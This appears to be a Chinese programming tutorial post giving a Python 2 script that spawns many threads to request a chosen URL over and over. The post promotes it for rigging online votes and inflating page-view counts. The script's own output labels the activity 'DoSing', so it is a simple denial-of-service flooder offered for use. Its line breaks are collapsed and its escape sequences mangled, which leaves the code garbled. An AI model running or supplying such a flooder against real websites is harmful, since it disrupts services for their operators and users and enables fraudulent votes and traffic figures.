本文實例講述了python使用多線程不斷刷新網頁的方法。分享給大家供大家參考。具體如下:
這段代碼可以開通過個線程不斷刷新指定的頁面,可用于刷票,增加網頁訪問量等等,不用再去按F5了
import threadimport urllib2import sysimport timedef usage(): print 'Usage: python ' + sys.argv[0] + ' <url> <threads>' sys.exit()def reloader(numthread): url = sys.argv[1] numreloads = 0 while True: try: urllib2.urlopen(url) numreloads = numreloads + 1 except KeyboardInterrupt: sys.exit('/nProcess aborted.')def splash(): print 'welcome to //www.jb51.net/codes 'if len(sys.argv) < 3: usage()if __name__ == '__main__': splash() print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.' for reloadspawn in range(0, int(sys.argv[2])): thread.start_new_thread(reloader, (reloadspawn,)) sys.stdout.write('') dosind = ['-', '//', '|', '/'] dosstat = 0 while True: try: sys.stdout.write('/r' + dosind[dosstat % 4] + ' DoSing...') sys.stdout.flush() dosstat = dosstat + 1 time.sleep(0.25) except KeyboardInterrupt: sys.exit('/nProcess aborted.')希望本文所述對大家的Python程序設計有所幫助。
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